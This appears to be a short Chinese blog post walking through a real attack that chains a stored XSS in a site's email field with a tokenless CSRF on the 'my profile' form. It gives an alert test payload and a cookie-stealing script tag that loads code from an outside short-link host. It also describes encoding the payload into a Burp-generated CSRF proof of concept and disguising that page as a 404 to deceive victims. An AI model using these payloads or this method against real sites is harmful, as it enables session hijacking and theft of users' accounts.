一次csrf配合xss的攻击实例

xss出现在我的邮箱处



alert of payload

"><script>alert(/test/)</script><"

by cookie of payload

"><script src=http://t.cn/RxQ4lz8></script><"

csrf依旧是出现在“我的资料”这里，我们进行抓包



由此我们可以从中看到并没有验证token

那么我们生成poc（burpsuite可以直接生成）



得到poc如下图：



在



打红勾的地方即为刚才存在xss漏洞的地方也是csrf漏洞的所在地。

我们将value值换成我们的xss 打cookie的 payload（"><script src=http://t.cn/RxQ4lz8></script><"）

此时如果我们直接将这个payload插入到value值当中定然会被当作html代码，就扰乱了poc的html代码。我们需要对其进行一个转码。我们可以采用unicode进行编码一下绕过这个问题。

当对方打开这个poc的时候cookie就自动跑到我们的xss 平台了。

我们可以将poc放到某个网站下面，然后把poc写成404，让被攻击打开误以为是错误页面。